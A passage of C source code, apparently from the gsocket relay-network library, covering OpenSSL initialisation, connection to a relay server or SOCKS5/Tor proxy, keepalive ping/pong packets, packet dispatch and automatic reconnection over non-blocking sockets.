xfprintf(gs_dout, "%s (Tracking: %d, max = %d)\n", buf, n, ctx->max_fd);
#endif
}
void
GS_library_init(FILE *err_fp, FILE *dout_fp, gs_cb_log_t func_log)
{
if (gs_lib_init_called != 0)
return;
gs_lib_init_called = 1;
/* Initialize SSL */
SSL_library_init();
OpenSSL_add_all_algorithms();
SSL_load_error_strings();
XASSERT(RAND_status() == 1, "RAND_status()");
if (func_log != NULL)
{
gs_log_info.msg = calloc(1, GS_LOG_INFO_MSG_SIZE);
XASSERT(gs_log_info.msg != NULL, "calloc: %s\n", strerror(errno));
}
gs_errfp = err_fp;
gs_func_log = func_log;
#ifdef DEBUG
gs_dout = dout_fp;
#endif
}
int
GS_CTX_init(GS_CTX *ctx, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now)
{
GS_library_init(stderr, stderr, NULL);
memset(ctx, 0, sizeof *ctx);
ctx->rfd = rfd;
ctx->wfd = wfd;
ctx->r = r;
ctx->w = w;
ctx->tv_now = tv_now;
#ifdef DEBUG_SELECT
gs_debug_rfd = rfd;
gs_debug_wfd = wfd;
gs_debug_r = r;
gs_debug_w = w;
#endif
if (ctx->rfd == NULL)
{
ERREXIT("Is this still being used? how about r and w == NULL?\n");
ctx->rfd = calloc(1, sizeof *ctx->rfd);
ctx->wfd = calloc(1, sizeof *ctx->wfd);
ctx->flags |= GS_CTX_FL_RFD_INTERNAL;
}
ctx->socks_port = htons(GS_SOCKS_DFL_PORT);
char *ptr;
ptr = getenv("GSOCKET_SOCKS_IP");
if ((ptr != NULL) && (*ptr != '\0'))
ctx->socks_ip = inet_addr(ptr);
ptr = getenv("GSOCKET_SOCKS_PORT");
if (ptr != NULL)
ctx->socks_port = htons(atoi(ptr));
ctx->gs_flags |= GSC_FL_USE_SRP; // Encryption by default
ctx->gs_flags |= GSC_FL_NONBLOCKING; // Non-blocking by default
ctx->flags_proto |= GS_FL_PROTO_FAST_CONNECT;
return 0;
}
/*
* Make use of GS_select() subsystem.
*/
void
GS_CTX_use_gselect(GS_CTX *ctx, GS_SELECT_CTX *gselect_ctx)
{
ctx->gselect_ctx = gselect_ctx;
}
int
GS_CTX_free(GS_CTX *ctx)
{
if (ctx->flags & GS_CTX_FL_RFD_INTERNAL)
{
XFREE(ctx->rfd);
XFREE(ctx->wfd);
}
memset(ctx, 0, sizeof *ctx);
return 0;
}
/*
* Copy over all elements of a GS to gs_new
* but increment gs-specific counters.
* This is typically used to create a GS from a listening GS.
*/
static void
gs_instantiate(GS *gsocket, GS *new_gs, int new_fd)
{
new_gs->ctx = gsocket->ctx;
new_gs->fd = new_fd;
new_gs->flags = gsocket->flags;
new_gs->ctx->gsocket_success_count++;
new_gs->id = new_gs->ctx->gsocket_success_count;
#ifdef WITH_GSOCKET_SSL
new_gs->ssl_ctx = gsocket->ssl_ctx;
new_gs->srpData = gsocket->srpData;
memcpy(new_gs->srp_sec, gsocket->srp_sec, sizeof new_gs->srp_sec);
if (new_gs->ssl != NULL)
DEBUGF("*** WARNING ***: old SSL found???\n");
new_gs->ssl = NULL;
#endif
}
static int
gs_set_ip_by_hostname(GS *gs, const char *hostname)
{
/* No hostname specified. Perhaps using env var GSOCKET_IP */
if (hostname == NULL)
return GS_SUCCESS;
/* When Socks5 is used then TCP goes to Socks5 server */
if (gs->ctx->socks_ip != 0)
return GS_SUCCESS;
/* HERE: Socks5 not used */
uint32_t gs_ip;
gs_ip = GS_hton(hostname);
if (gs_ip == 0xFFFFFFFF)
{
GS_LOG_ERR("Cannot resolve '%s'. Re-trying in %d seconds...\n", hostname, GS_RECONNECT_DELAY);
return GS_ERROR;
}
DEBUGF_B("Setting hostname=%s\n", hostname);
gs->net.tv_gs_hton = GS_TV_TO_USEC(gs->ctx->tv_now);
gs->net.addr = gs_ip;
return GS_SUCCESS;
}
// Call callback to pass log message from library to calling programm
void
GS_log(int type, int level, char *fmt, ...)
{
if (gs_func_log == NULL)
return;
va_list ap;
va_start(ap, fmt);
vsnprintf(gs_log_info.msg, GS_LOG_INFO_MSG_SIZE, fmt, ap);
va_end(ap);
gs_log_info.level = level;
gs_log_info.type = type;
(*gs_func_log)(&gs_log_info);
}
GS *
GS_new(GS_CTX *ctx, GS_ADDR *addr)
{
GS *gsocket = NULL;
char *ptr;
char *hostname;
gsocket = calloc(1, sizeof *gsocket);
XASSERT(gsocket != NULL, "calloc(): %s\n", strerror(errno));
gsocket->ctx = ctx;
gsocket->fd = -1;
uint16_t gs_port;
ptr = getenv("GSOCKET_PORT");
if (ptr != NULL)
gs_port = htons(atoi(ptr));
else
gs_port = htons(GSRN_DEFAULT_PORT);
ctx->gs_port = gs_port; // Socks5 needs to know
gsocket->net.port = gs_port;
ptr = getenv("GSOCKET_IP");
if (ptr != NULL)
{
gsocket->net.addr = inet_addr(ptr);
}
if ((ctx->socks_ip != 0) || (gsocket->net.addr == 0))
{
/* HERE: Use Socks5 -or- GSOCKET_IP not available */
char buf[256];
hostname = getenv("GSOCKET_HOST");
if (hostname == NULL)
{
uint8_t hostname_id;
hostname_id = GS_ADDR_get_hostname_id(addr->addr);
// Connect to [a-z].gsocket.io depending on GS-address
const char *domain;
domain = getenv("GSOCKET_DOMAIN");
if (domain == NULL)
domain = GS_NET_DEFAULT_HOST;
snprintf(buf, sizeof buf, "%c.%s", 'a' + hostname_id, domain);
hostname = buf;
}
gsocket->net.hostname = strdup(hostname);
gs_set_ip_by_hostname(gsocket, gsocket->net.hostname);
}
if (ctx->socks_ip != 0)
{
// HERE: Socks5 is used
gsocket->net.addr = ctx->socks_ip;
gsocket->net.port = ctx->socks_port;
XASSERT(gsocket->net.hostname != NULL, "Socks5 but hostname not set\n");
}
gsocket->net.fd_accepted = -1;
gsocket->net.n_sox = 1;
int i;
for (i = 0; i < gsocket->net.n_sox; i++)
{
gsocket->net.sox[i].fd = -1;
}
gsocket->flags = ctx->gs_flags;
memcpy(&gsocket->gs_addr, addr, sizeof gsocket->gs_addr);
GS_srp_setpassword(gsocket, gsocket->gs_addr.srp_password);
GS_set_token(gsocket, NULL, 0);
return gsocket;
}
static void
gs_net_connect_complete(GS *gs, struct gs_sox *sox)
{
int vlevel = GS_LOG_LEVEL_VERBOSE;
// If we warned about a slow connection then also say when we succeeded...
if (sox->flags & GS_SOX_FL_WARN_SLOWCONNECT)
vlevel = GS_LOG_LEVEL_NONE;
if (gs->ctx->socks_ip != 0)
GS_log(GS_LOG_TYPE_NORMAL, vlevel, "GSRN connection established [via TOR to %s:%d].\n", gs->net.hostname, ntohs(gs->ctx->gs_port));
else
GS_log(GS_LOG_TYPE_NORMAL, vlevel, "GSRN connection established [%s:%d].\n", int_ntoa(gs->net.addr), ntohs(gs->ctx->gs_port));
if (gs->flags & GS_FL_IS_CLIENT)
gs_pkt_connect_write(gs, sox);
else
gs_pkt_listen_write(gs, sox);
if (gs->net.conn_count >= gs->net.n_sox)
gs->flags |= GS_FL_TCP_CONNECTED; // All TCP (APP) are now connected
sox->flags &= ~GS_SOX_FL_WARN_SLOWCONNECT;
}
/*
* First and completing call to 'connect()' (non-blocking).
* Return -2 on error (fatal, must exit)
* Return -1 if in progress
* Return 0 on success (connection actually established)
*/
static int
gs_net_connect_by_sox(GS *gsocket, struct gs_sox *sox)
{
struct sockaddr_in addr;
int ret;
memset(&addr, 0, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = gsocket->net.addr;
addr.sin_port = gsocket->net.port;
errno = 0;
ret = connect(sox->fd, (struct sockaddr *)&addr, sizeof addr);
// DEBUGF("connect(%s:%d, fd = %d): %d (errno = %d, %s)\n", int_ntoa(gsocket->net.addr), ntohs(addr.sin_port), sox->fd, ret, errno, strerror(errno));
if (ret != 0)
{
if ((errno == EINPROGRESS) || (errno == EAGAIN) || (errno == EINTR))
{
XFD_SET(sox->fd, gsocket->ctx->wfd);
sox->state = GS_STATE_SYS_CONNECT;
return GS_ERR_WAITING;
}
if (errno != EISCONN)
{
/* HERE: NOT connected */
if (gsocket->ctx->socks_ip == 0)
{
// GS_LOG_ERR("connect(%s:%d): %s.\n", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port), strerror(errno));
gs_set_error(gsocket->ctx, "connect(%s:%d)", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port));
} else {
// GS_LOG_ERR("connect(%s:%d): %s. Tor not running?\n", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port), strerror(errno));
gs_set_error(gsocket->ctx, "connect(%s:%d). Tor not running?", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port));
}
return GS_ERR_FATAL;
}
}
/* HERRE: ret == 0 or errno == EISCONN (Socket is already connected) */
DEBUGF("connect(fd = %d) SUCCESS (errno = %d)\n", sox->fd, errno);
FD_CLR(sox->fd, gsocket->ctx->wfd);
XFD_SET(sox->fd, gsocket->ctx->rfd);
/* SUCCESSFULLY connected */
sox->state = GS_STATE_SYS_NONE; // Not stuck in a system call (connect())
gsocket->net.conn_count += 1;
if (gsocket->ctx->socks_ip != 0)
{
GS_LOG_VV("Connection to TOR established [%s:%d].\n", int_ntoa(gsocket->ctx->socks_ip), ntohs(gsocket->ctx->socks_port));
gs_pkt_connect_socks(gsocket, sox);
} else {
gs_net_connect_complete(gsocket, sox);
}
return GS_SUCCESS;
}
/*
* Return > 0 on success.
* Return 0 if write would block.
* Return -1 on error.
*/
static int
sox_write(struct gs_sox *sox, const void *data, size_t len)
{
int ret;
ret = write(sox->fd, data, len);
if (ret == len)
{
return len;
}
if (ret > 0)
ERREXIT("Fatal, partial write() should not happen.\n");
if (errno != EAGAIN)
return -1;
/* EAGAIN */
memcpy(sox->wbuf, data, len);
sox->wlen = len;
return 0;
}
static int
gs_pkt_connect_socks(GS *gs, struct gs_sox *sox)
{
// Auth: 0x05 0x01 0x00
// Conn: 0x05 0x01 0x00 0x03 [1-octet length] [domain name] [2-octet Port]
char buf[512];
char *ptr = &buf[0];
memcpy(buf, "\x05\x01\x00" "\x05\x01\x00\x03", 7);
ptr += 7;
size_t hlen = strlen(gs->net.hostname);
XASSERT(hlen <= 255, "hostname to long\n");
ptr[0] = hlen;
ptr++;
memcpy(ptr, gs->net.hostname, hlen);
ptr += hlen;
memcpy(ptr, &gs->ctx->gs_port, 2);
ptr += 2;
int ret;
ret = sox_write(sox, &buf, ptr - buf);
if (ret == 0)
sox->state = GS_STATE_SOCKS; // Call write() again
sox->flags |= GS_SOX_FL_AWAITING_SOCKS;
return 0;
}
static int
gs_pkt_ping_write(GS *gsocket, struct gs_sox *sox)
{
int ret;
DEBUGF("### PKT PING write(fd = %d)\n", sox->fd);
// Might be 0 if SSL has not completed yet
if (sox->fd < 0)
return 0;
/* Do not send PING if there is already data in output queue */
if (FD_ISSET(sox->fd, gsocket->ctx->wfd))
{
DEBUGF("skip PING. WANT_WRITE already set.\n");
return 0;
}
struct _gs_ping gping;
memset(&gping, 0, sizeof gping);
gping.type = GS_PKT_TYPE_PING;
ret = sox_write(sox, &gping, sizeof gping);
if (ret == 0)
sox->state = GS_STATE_PKT_PING;
/* write() will eventually complete.
* As soon as rfd is ready we are expecting a PONG
*/
sox->flags |= GS_SOX_FL_AWAITING_PONG;
return 0;
}
static int
gs_pkt_listen_write(GS *gsocket, struct gs_sox *sox)
{
int ret;
DEBUGF("### PKT LISTEN write(fd = %d)\n", sox->fd);
if (gsocket->flags & GS_FL_IS_CLIENT)
ERREXIT("CC trying to send a listen message. Should send connect.\n");
struct _gs_listen glisten;
memset(&glisten, 0, sizeof glisten);
glisten.type = GS_PKT_TYPE_LISTEN;
glisten.version_major = GS_PKT_PROTO_VERSION_MAJOR;
glisten.version_minor = GS_PKT_PROTO_VERSION_MINOR;
memcpy(glisten.token, gsocket->token, sizeof glisten.token);
memcpy(glisten.addr, gsocket->gs_addr.addr, MIN(sizeof glisten.addr, GS_ADDR_SIZE));
HEXDUMP(glisten.addr, sizeof glisten.addr);
ret = sox_write(sox, &glisten, sizeof glisten);
if (ret == 0)
sox->state = GS_STATE_PKT_LISTEN;
return 0;
}
static int
gs_pkt_connect_write(GS *gsocket, struct gs_sox *sox)
{
int ret;
DEBUGF("pkt_connect_write(fd = %d)\n", sox->fd);
struct _gs_connect gconnect;
memset(&gconnect, 0, sizeof gconnect);
gconnect.type = GS_PKT_TYPE_CONNECT;
gconnect.version_major = GS_PKT_PROTO_VERSION_MAJOR;
gconnect.version_minor = GS_PKT_PROTO_VERSION_MINOR;
gconnect.flags = gsocket->ctx->flags_proto;
DEBUGF_Y("Proto Flags: %x\n", gconnect.flags);
memcpy(gconnect.addr, gsocket->gs_addr.addr, MIN(sizeof gconnect.addr, GS_ADDR_SIZE));
ret = sox_write(sox, &gconnect, sizeof gconnect);
if (ret == 0)
sox->state = GS_STATE_PKT_CONNECT;
return 0;
}
static int
gs_pkt_accept_write(GS *gsocket, struct gs_sox *sox)
{
int ret;
struct _gs_accept gaccept;
memset(&gaccept, 0, sizeof gaccept);
gaccept.type = GS_PKT_TYPE_ACCEPT;
ret = sox_write(sox, &gaccept, sizeof gaccept);
if (ret == 0)
sox->state = GS_STATE_PKT_ACCEPT;
return 0;
}
/*
* Process a GS protocol message.
*/
static int
gs_pkt_dispatch(GS *gsocket, struct gs_sox *sox)
{
if (sox->rbuf[0] == GS_PKT_TYPE_PONG)
{
DEBUGF("PONG received\n");
sox->flags &= ~GS_SOX_FL_AWAITING_PONG;
return GS_SUCCESS;
}
if (sox->rbuf[0] == GS_PKT_TYPE_START)
{
/* Called by CLIENT and SERVER. Thereafter it's up to the application
* layer.
*/
struct _gs_start *start = (struct _gs_start *)sox->rbuf;
DEBUGF("START received. (flags = 0x%2.2x)\n", start->flags);
if (start->flags & GS_FL_PROTO_START_SERVER)
{
DEBUGF_Y("This is SERVER\n");
gsocket->flags |= GS_FL_IS_SERVER;
}
sox->state = GS_STATE_APP_CONNECTED;
gettimeofday(gsocket->ctx->tv_now, NULL);
memcpy(&gsocket->tv_connected, gsocket->ctx->tv_now, sizeof gsocket->tv_connected);
/* Indicate to caller that a new GS connection has started */
gsocket->net.fd_accepted = sox->fd;
gs_pkt_accept_write(gsocket, sox);
return GS_SUCCESS;
}
char msg[128];
if (sox->rbuf[0] == GS_PKT_TYPE_STATUS)
{
struct _gs_status *status = (struct _gs_status *)sox->rbuf;
DEBUGF("STATUS received. (type=%d, code=%d)\n", status->err_type, status->code);
if (status->err_type == GS_STATUS_TYPE_FATAL)
{
const char *err_str = "FATAL"; // *Unknown* default
switch (status->code)
{
case GS_STATUS_CODE_BAD_AUTH:
err_str = "Address already in use";
break;
case GS_STATUS_CODE_CONNREFUSED:
err_str = "Connection refused (no server listening)";
break;
case GS_STATUS_CODE_IDLE_TIMEOUT:
err_str = "Idle-Timeout. Server did not receive any data";
break;
default:
err_str = "UNKNOWN";
GS_sanitize_logmsg(msg, sizeof msg, (char *)status->msg, sizeof status->msg);
if (msg[0] != '\0')
err_str = msg;
break;
}
gsocket->status_code = status->code;
gs_set_errorf(gsocket, "%s (%u)", err_str, status->code);
return GS_ERR_FATAL;
}
return GS_SUCCESS;
}
DEBUGF("Invalid Packet Type %d - Ignoring..\n", sox->rbuf[0]);
return GS_SUCCESS;
}
/*
* Return length of bytes read, 0 for waiting and otherwise ERROR
* (treat EOF as GS_ERROR (and eventually reconnect if this is a listening socket)
*/
static ssize_t
sox_read(struct gs_sox *sox, size_t len)
{
ssize_t ret;
ret = read(sox->fd, sox->rbuf + sox->rlen, len);
if (ret == 0) /* EOF */
{
/* HERE: GS-NET can not find a listening peer for this GS-addres.
* Disconnect hard.
*/
DEBUGF_R("EOF on GS TCP connection -> treat as ECONNRESET\n");
errno = ECONNRESET;
return GS_ERROR; // ERROR
}
if (ret < 0)
{
/* This can happen when we read packets. We read 1 byte and
* then without going into select() we try to read the rest
* of the packet.
*/
if ((errno == EAGAIN) || (errno == EINTR))
{
#ifdef DEBUG
gs_fds_out_fd(gs_debug_rfd, 'r', sox->fd);
gs_fds_out_fd(gs_debug_r, 'R', sox->fd);
#endif
DEBUGF_R("EAGAIN [would block], wanting %zd\n", len);
return 0; // Waiting. No data read.
}
return GS_ERROR;
}
sox->rlen += ret;
return ret; // Return the number of bytes read.
}
/*
* Read at least 'min' bytes or return error if waiting.
* Return min on SUCCESS (min bytes available in buffer)
* Return GS_ERR_WAITING when waiting for more data.
* Return GS_ERROR on error (recoverable. re-connect)
* Return GS_ERR_FATAL on non-recoverable errors (never?)
*/
static ssize_t
sox_read_min(struct gs_sox *sox, size_t min)
{
size_t len_rem;
int ret;
XASSERT(sox->rlen < min, "Data in buffer is %zu but only needing %zu\n", sox->rlen, min);
len_rem = min - sox->rlen;
ret = sox_read(sox, len_rem);
if (ret == GS_ERROR)
return GS_ERROR;
if (ret == GS_ERR_FATAL)
return GS_ERR_FATAL; // never happens
if (sox->rlen < min)
return GS_ERR_WAITING;
/* Not enough data */
return min;
}
static int
gs_read_pkt(GS *gs, struct gs_sox *sox)
{
int ret;
/* Read GS message. */
/* Read GS MSG header (first octet) */
if (sox->rlen == 0)
{
ret = sox_read(sox, 1);
if (ret != 1)
return GS_ERROR;
}
size_t len_pkt = sizeof (struct _gs_pong);
/* Client only allowed to receive START, STATUS and PONG */
switch (sox->rbuf[0])
{
case GS_PKT_TYPE_PONG:
case GS_PKT_TYPE_START:
case GS_PKT_TYPE_STATUS:
break;
case GS_PKT_TYPE_LISTEN:
case GS_PKT_TYPE_CONNECT:
len_pkt = sizeof (struct _gs_listen);
case GS_PKT_TYPE_PING:
default:
DEBUGF_R("Packet type=%d not valid (for client)\n", sox->rbuf[0]);
}
ret = sox_read_min(sox, len_pkt);
if (ret == GS_ERR_WAITING)
return GS_SUCCESS; // Not enough data yet
if (ret != len_pkt)
return GS_ERROR; // ERROR
ret = gs_pkt_dispatch(gs, sox);
sox->rlen = 0;
return ret;
}
/* Accept Auth: 0x05 0x00
* Success : 0x05 0x00 0x00 0x01 [IP 4bytes] [PORT 2bytes]
*/
struct _socks5_pkt
{
uint8_t ver;
uint8_t res;
uint8_t ver2;
uint8_t code;
uint8_t res2;
uint8_t ip_type;
uint8_t ip[4];
uint8_t port[2];
};
/*
* Read reply from Socks5 and 'dispatch' (change state when done or -1 on error).
*/
static int
gs_read_socks(GS *gs, struct gs_sox *sox)
{
int ret;
struct _socks5_pkt spkt;
size_t len_pkt = sizeof (struct _socks5_pkt);
ret = sox_read_min(sox, len_pkt);
if (ret == GS_ERR_WAITING)
return GS_SUCCESS;
if (ret != len_pkt)
return GS_ERROR;
// HEXDUMPF(sox->rbuf, len_pkt, "Socks5 (%zu): ", len_pkt);
memcpy(&spkt, sox->rbuf, sizeof spkt);
if (spkt.code != 0)
return GS_ERROR;
DEBUGF_M("Socks5 CONNECTED\n");
/* Socks5 completed. Start GS listen/connect */
sox->flags &= ~GS_SOX_FL_AWAITING_SOCKS;
gs_net_connect_complete(gs, sox);
sox->rlen = 0;
return GS_SUCCESS;
}
/*
* Socket has something to read() or write()
* Return 0 on success.
*/
static int
gs_process_by_sox(GS *gsocket, struct gs_sox *sox)
{
int ret;
GS_CTX *gs_ctx = gsocket->ctx;
errno = 0;
if (FD_ISSET(sox->fd, gs_ctx->w))
{
DEBUGF("fd == %d\n", sox->fd);
if (sox->state == GS_STATE_SYS_CONNECT)
{
ret = gs_net_connect_by_sox(gsocket, sox);
if (ret != GS_SUCCESS)
{
DEBUGF_R("will ret = %d, errno %s\n", ret, strerror(errno));
return GS_ERROR; /* ECONNREFUSED or other */
}
DEBUGF("GS-NET Connection (TCP) ESTABLISHED (fd = %d)\n", sox->fd);
/* rfd is set in gs_net_connect_by_sox */
gs_fds_out_fd(gsocket->ctx->rfd, 'r', sox->fd);
gs_fds_out_fd(gsocket->ctx->wfd, 'w', sox->fd);
return GS_SUCCESS;
}
/* Complete a failed write() */
if ((sox->state == GS_STATE_PKT_PING) || (sox->state == GS_STATE_PKT_LISTEN) || (sox->state == GS_STATE_SOCKS))
{
ret = write(sox->fd, sox->wbuf, sox->wlen);
if (ret != sox->wlen)
{
DEBUGF("ret = %d, len = %zu, errno = %s\n", ret, sox->wlen, strerror(errno));
return GS_ERROR;
}
FD_CLR(sox->fd, gs_ctx->wfd);
XFD_SET(sox->fd, gs_ctx->rfd);
sox->state = GS_STATE_SYS_NONE;
return GS_SUCCESS;
}
/* write() data still in output buffer */
DEBUGF("Oops. WFD ready but not in SYS_CONNECT or PKT_PING? (fd = %d, state = %d)\n", sox->fd, sox->state);
return GS_ERR_FATAL;
} /* gs_ctx->w was set */
/* HERE: rfd is set - ready to read */
DEBUGF_M("rfd is set (state == %d)\n", sox->state);
if (sox->flags & GS_SOX_FL_AWAITING_SOCKS)
{
ret = gs_read_socks(gsocket, sox);
} else {
ret = gs_read_pkt(gsocket, sox);
}
return ret;
}
/*
* Call every second to take care of house-keeping and keep
* alive messages.
*/
void
GS_heartbeat(GS *gsocket)
{
int i;
if (gsocket == NULL)
return;
if (gsocket->fd >= 0)
return;
/* Check if it is time to send a PING to keep the connection alive */
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox *sox = &gsocket->net.sox[i];
XASSERT(sox->state != GS_STATE_APP_CONNECTED, "fd = %d but APP already CONNECTED state\n", gsocket->fd);
// Skip if busy with connect() systemcall.
if (sox->state == GS_STATE_SYS_CONNECT)
{
if (GS_TV_TO_USEC(gsocket->ctx->tv_now) < gsocket->net.tv_connect + GS_SEC_TO_USEC(GS_WARN_SLOWCONNECT))
continue;
if (sox->flags & GS_SOX_FL_WARN_SLOWCONNECT)
continue;
// Warning if connection takes longer than expected...
sox->flags |= GS_SOX_FL_WARN_SLOWCONNECT;
GS_LOG("Connecting to GSRN [%s:%d] takes longer than expected. Still trying...\n", int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port));
continue;
}
// Skip if 'want-write' is already set. We are already trying to write data.
// fd is -1 if connect() failed
if ((sox->fd >= 0) && (FD_ISSET(sox->fd, gsocket->ctx->wfd)))
continue;
/* Skip if outstanding PONG..*/
if (sox->flags & GS_SOX_FL_AWAITING_PONG)
continue;
XASSERT(sox->state != GS_STATE_PKT_ACCEPT, "APP_CONNECTED == false _and_ state == ACCEPT\n");
if (sox->state == GS_STATE_SYS_RECONNECT)
{
gs_net_try_reconnect_by_sox(gsocket, sox);
continue;
}
if (sox->state == GS_STATE_SYS_NONE)
{
uint64_t tv_diff = GS_TV_DIFF(&sox->tv_last_data, gsocket->ctx->tv_now);
// DEBUGF("diff = %llu\n", tv_diff);
if (tv_diff > GS_SEC_TO_USEC(GSRN_DEFAULT_PING_INTERVAL))
{
gs_pkt_ping_write(gsocket, sox);
memcpy(&sox->tv_last_data, gsocket->ctx->tv_now, sizeof sox->tv_last_data);
}
continue;
}
ERREXIT("NOT REACHED\n");
}
}
static void
gs_net_reconnect_by_sox(GS *gs, struct gs_sox *sox)
{
gs_net_connect_new_socket(gs, sox);
/* FIXME: if a connect() call succeeds and this gsocket has more
* than 1 'listen' TCP connections trying to connect() then we could
* trigger a re-connect on all sox which are in state GS_STATE_SYS_RECONNECT
* immediately without having to wait for RECONNECT_DELAY.
*/
}
/*
* Try to connect() again or if this is to soon since the failed attempt then
* wait and let GS_heartbeat() wake us up when it is time.
*/
static void
gs_net_try_reconnect_by_sox(GS *gs, struct gs_sox *sox)
{
sox->state = GS_STATE_SYS_RECONNECT;
if (GS_TV_TO_USEC(gs->ctx->tv_now) <= gs->net.tv_connect + GS_SEC_TO_USEC(GS_RECONNECT_DELAY))
{
DEBUGF_M("To many connect() attempts. Heartbeat will wake us later...\n");
return;
}
/* Ignore return value. If this fails then ignorning return value means
* we will re-use old IP (which is what we want).
*/
/* Only update IP from hostname like every 12h or so (this should never change) */
if (GS_TV_TO_USEC(gs->ctx->tv_now) > gs->net.tv_gs_hton + GS_SEC_TO_USEC(GS_GS_HTON_DELAY))
{
if (gs->net.hostname != NULL)
{
DEBUGF_Y("Newly resolving %s\n", gs->net.hostname);
gs_set_ip_by_hostname(gs, gs->net.hostname);
}
}
gs_net_reconnect_by_sox(gs, sox);
}
/*
* Only called while APP is not yet connected and managing GS-packets.
* Check "fd_accepted" for any fd that can be passed to app-layer.
*
* Return 0 on success.
*/
static int
gs_process(GS *gsocket)
{
int ret;
int i;
if (gsocket->fd >= 0)
{
DEBUGF("*** WARNING ***: No more GS-Net messages after accept please..\n");
ERREXIT("Should not happen\n");
return GS_ERR_FATAL; // NOT REACHED
}
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox *sox = &gsocket->net.sox[i];
/* No PING/PONG (KeepAlive) and no further processing of any
* GS Protocol messages once the GS-SOCKET is connected.
* Instead forward all read() data to application via GS_read().
*/
if (sox->state == GS_STATE_APP_CONNECTED)
{
ERREXIT("Should not happen\n"); /* GS is disengaged from GS-Net..*/
continue;
}
if (FD_ISSET(sox->fd, gsocket->ctx->r) || FD_ISSET(sox->fd, gsocket->ctx->w))
{
ret = gs_process_by_sox(gsocket, sox);
DEBUGF("gs_process_by_sox() = %d\n", ret);
if (ret == GS_ERROR)
{
/* GS_connect() shall not auto reconnect */
if (!(gsocket->flags & GS_FL_AUTO_RECONNECT))
return GS_ERR_FATAL;
/* HERE: Auto-Reconnect. Failed in connect() or write(). */
DEBUGF_M("GS-NET error. Re-connecting...\n");
GS_LOG_ERR("%s GSRN %s. Re-connecting to %s:%d...\n", GS_logtime(), strerror(errno), int_ntoa(gsocket->net.addr), ntohs(gsocket->net.port));
close(sox->fd);
gs_net_init_by_sox(gsocket->ctx, sox);
gs_net_try_reconnect_by_sox(gsocket, sox);
continue;
}
if (ret != GS_SUCCESS)
{
DEBUGF_R("FATAL errno(%d) = %s\n", errno, strerror(errno));
return GS_ERR_FATAL;
}
// HERE: connect() succeeded
memcpy(&sox->tv_last_data, gsocket->ctx->tv_now, sizeof sox->tv_last_data);
/* Immediatly let app know that a new gs-connection has been accepted */
if (gsocket->net.fd_accepted >= 0)
break;
/* We must CLEAR currently processed fd. Otherwise it can happen
* that another fd of this listening socket is also ready for r/w
* and we would process _this_ fd again (it's a sequential for-loop
* over all fd's of a listening gsocket.
*/
FD_CLR(sox->fd, gsocket->ctx->r);
FD_CLR(sox->fd, gsocket->ctx->w);
/* 'break' here. The calling function's 'select' loop will call us again.
* Otherwise the 'n = select()' counter will be off (if we process multiple
* fd's at once without n-- the counter.
*/
// break;
}
}
DEBUGF("Returning 0 (fd_accepted == %d)\n", gsocket->net.fd_accepted);
return 0;
}
int
GS_get_fd(GS *gsocket)
{
/* If socket is connected already (APP layer) */
if (gsocket->fd >= 0)
return gsocket->fd;
/* Connecting socket.
* Note: We may accidentially return a Accepting-socket here
* which is bad (GS_get_fd() is only valid on connecting
* or established socket but not on accpepting sockets (because
* accepting sockets operate on an array of accepting sockets rather
* than a single socket.
*/
if (gsocket->net.n_sox > 1)
return -1;
return gsocket->net.sox[0].fd;
}
/*
* Return 0 on success.
* Called from gs_net_connect
*/
static int
gs_net_new_socket(GS *gsocket, struct gs_sox *sox)
{
int s;
int ret;
gsocket->flags |= GS_FL_CALLED_NET_NEW_SOCKET;
s = socket(PF_INET, SOCK_STREAM, 0);
DEBUGF_W("socket() == %d (LIB)\n", s);
if (s < 0)
return -1;
ret = fcntl(s, F_SETFL, O_NONBLOCK | fcntl(s, F_GETFL, 0));
if (ret != 0)
return -1;
gsocket->ctx->max_sox = MAX(s, gsocket->ctx->max_sox);
sox->fd = s;
return 0;
}
/*
* Create a new socket and connect to GS-NET.
*/
static int
gs_net_connect_new_socket(GS *gs, struct gs_sox *sox)
{
int ret;
/*
* If we use the GS_select() subsystem:
* After GS_accept() a new TCP connection is established to
* the GS-NET. We must track the new fd of that new TCP connection
* with GS_select(). Here: Find out the call-back for original listening
* socket and assign it to new TCP connection (GS-NET).
*/
/* GS_select-HACK-1-START */
gselect_cb_t func;
int cb_val;
func = gs->ctx->func_listen;
cb_val = gs->ctx->cb_val_listen;
GS_SELECT_CTX *gselect_ctx = gs->ctx->gselect_ctx;
/* GS_select_HACK-1-END */
DEBUGF("gs_net_connect called (GS_select() cb_func = %p\n", func);
if (sox->fd < 0)
{
// HERE: socket() does not exist yet. Create it.
ret = gs_net_new_socket(gs, sox);
if (ret != GS_SUCCESS)
return GS_ERROR;
}
gs->net.tv_connect = GS_TV_TO_USEC(gs->ctx->tv_now);
// The calling process expects a socket to be created here regardless
// if IP is known. Thus we create a socket but only call 'connect()' once
// IP is known (e.g. domain name resolves).
if (gs->net.addr == 0)
{
// IP address failed to resolve.
// Go into reconnect state. Heartbeat complete the connect()...
if (sox->state == GS_STATE_SYS_RECONNECT)
return GS_SUCCESS; // return immediately if this is already a reconnect
sox->state = GS_STATE_SYS_RECONNECT;
} else {
GS_LOG_VV("Connecting to %s:%d...\n", int_ntoa(gs->net.addr), ntohs(gs->net.port));
/* Connect TCP */
ret = gs_net_connect_by_sox(gs, sox);
DEBUGF("gs_net_connect_by_sox(fd = %d): %d, %s\n", sox->fd, ret, strerror(errno));
if (ret == GS_ERR_FATAL)
ERREXIT("%s\n", GS_CTX_strerror(gs->ctx));
}
/* GS_select-HACK-1-START */
if (gs->ctx->gselect_ctx != NULL)
{
DEBUGF_B("Using GS_select() with new fd = %d, func = %p\n", sox->fd, func);
/* HERE: We are using GS_select(). Track new fd. */
gs_listen_add_gs_select_by_sox(gselect_ctx, func, sox->fd, gs, cb_val);
}
/* GS_select-HACK-1-END */
return GS_SUCCESS;
}
/*
* Connect to the GS-NET (non-blocking).
* Return 0 on success.
* Return -1 on fatal error (must exist).
*/
static int
gs_net_connect(GS *gsocket)
{
int ret;
int i;
GS_CTX *gs_ctx;
if (gsocket == NULL)
return -1;
gs_ctx = gsocket->ctx;
